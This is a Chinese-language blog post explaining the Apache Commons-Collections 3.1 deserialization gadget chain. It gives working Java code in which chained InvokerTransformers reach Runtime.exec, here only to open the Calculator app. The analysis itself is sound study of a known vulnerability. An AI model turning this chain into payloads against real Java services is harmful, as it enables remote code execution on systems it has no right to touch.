Commons-Collections漏洞

Commons-collections漏洞

0x01 POP调用链

版本:Commons-Collections3.1

下为Commons-Collections反序列实例代码:

import org.apache.commons.collections.Transformer; 

import org.apache.commons.collections.functors.InvokerTransformer; 

public class VulTest { 

public static void main(String[] args){ 

Transformer transformer=new InvokerTransformer( 

"append", 

new Class[]{String.class}, 

new Object[]{"exploitcat?"}); 

Object newObject=transformer.transform(new StringBuffer("your name is ")); 

System.out.println(newObject); 
} 
} 

输入结果为:your name is exploitcat?

很明显调用了append方法将两个字符串进行拼接,让我们来分析代码,首先声明了一个transformer的引用,查看Transformer这个类代码为:

package org.apache.commons.collections; 

public interface Transformer { 

Object transform(Object var1); 

} 

刚开始没看懂=-=,这是定义的一个名为Transformer的接口类,其中声明了一个返回类型为Object的transform函数,接收参数为Object对象。

InvokerTransformer为Transformer的一个子类,此处新建了一个InvokerTransformer类的实例,以此传入了append、new Class[]{String.class}、new Object[]{"exploitcat?"}三个参数。

接下来进入InvokerTransformer这个类,发现当接收参数为这三个参数时,构造函数实现的功能为预设这三个参数的值,即:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 

this.iMethodName = methodName; 

this.iParamTypes = paramTypes; 

this.iArgs = args; 

} 

Object newObject即新建一个对象引用,而transformer.transform(new StringBuffer("your name is ")),Java中String也是一个类,所以new StringBuffer("your name is ")为一个类对象,transform这个方法为继承父类Transformer的transform方法重写为:

public Object transform(Object input) { 

if (input == null) { 

return null; 

} else { 

try { 

Class cls = input.getClass(); 

Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 

return method.invoke(input, this.iArgs); 

} catch (NoSuchMethodException var5) { 

throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); 

} catch (IllegalAccessException var6) { 

throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 

} catch (InvocationTargetException var7) { 

throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); 

} 

} 

} 

} 

根据前面获得的三个参数的值,在此处利用反射调用了String类的append方法,将两个字符串进行拼接。

下为另一处Commons-Collections反序列化漏洞示例代码

import org.apache.commons.collections.Transformer; 

import org.apache.commons.collections.functors.ChainedTransformer; 

import org.apache.commons.collections.functors.ConstantTransformer; 

import org.apache.commons.collections.functors.InvokerTransformer; 

import org.apache.commons.collections.map.TransformedMap; 

import java.util.HashMap; 

import java.util.Map; 

public class VulChain { 

public static void main(String[] args){ 

Transformer[] transformers=new Transformer[]{ 

new ConstantTransformer(Runtime.class), 

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 

new Object[]{"getRuntime", new Class[0]}), 

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 

new Object[]{null, new Object[0]}), 

new InvokerTransformer("exec", new Class[]{String.class}, 

new Object[]{"open /Applications/Calculator.app"}) 

}; 

Transformer chain=new ChainedTransformer(transformers); 

Map innerMap=new HashMap(); 

innerMap.put("name","hello"); 

Map outerMap= TransformedMap.decorate(innerMap,null,chain); 

Map.Entry elEntry=(Map.Entry) outerMap.entrySet().iterator().next(); 

elEntry.setValue("hello"); 

} 

} 

在VulChain这个类中声明首先声明了一个Transformer类型对象数组transformers,放了ConstantTransformer与InvokerTransFormer两种对象。

Transformer chain=new ChainedTransformer(transformers);则是传入一个transformers参数新建了一个Transformer类型的引用,进入ChainedTransformer这个类查看构造函数

public ChainedTransformer(Transformer[] transformers) { 

super(); 

iTransformers = transformers; 

} 

其主要作用为将transformers赋给自己的属性iTransformers.

下面的innerMap类型主要是为了后面的decorate方法传参,不用过多在意。

而Map outerMap= TransformedMap.decorate(innerMap,null,chain);

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { 

return new TransformedMap(map, keyTransformer, valueTransformer); 

} 

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { 

super(map); 

this.keyTransformer = keyTransformer; 

this.valueTransformer = valueTransformer; 

} 

decorate方法返回了一个TransformedMap对象,在TransforedMap构造函数将valueTransformer=chain

elEntry.setValue("hello");中我们查看setValue函数声明,在AbstractInputCheckedMapDecorator这个类中:

public Object setValue(Object value) { 

value = parent.checkSetValue(value); 

return entry.setValue(value); 

} 

而checkSetValue在TransformerMap中:

protected Object checkSetValue(Object value) { 

return valueTransformer.transform(value); 

} 

而ChainedTransformer中transform方法为:

public Object transform(Object object) { 

for (int i = 0; i < iTransformers.length; i++) { 

object = iTransformers[i].transform(object); 

} 

return object; 

} 

InvokerTransformer中transform方法为:

public Object transform(Object input) { 

if (input == null) { 

return null; 

} 

try { 

Class cls = input.getClass(); 

Method method = cls.getMethod(iMethodName, iParamTypes); 

return method.invoke(input, iArgs); 

} catch (NoSuchMethodException ex) { 

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); 

} catch (IllegalAccessException ex) { 

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 

} catch (InvocationTargetException ex) { 

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); 

} 

} 

} 

在for循环中i、iTransformers[i]、object值分别为:

i iTransformers[i] Object
0 ConstantTransformer(Runtime.class) "hello"
1 InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}) Runtime.class
2 InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}) Runtime.class.getRuntime
3 InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) Runtime.class.getRuntime.invoke(null,null)

最终构成调用链:Runtime.class.getRuntime.invoke(null,null).exec('open /Applications/Calculator.app')

0x02反序列化利用

上面找到了POP利用链,现在我们只需要一个反序列化利用点,就可以构造好的Payload利用出去。

猜你喜欢

转载自www.cnblogs.com/vincebye/p/10439205.html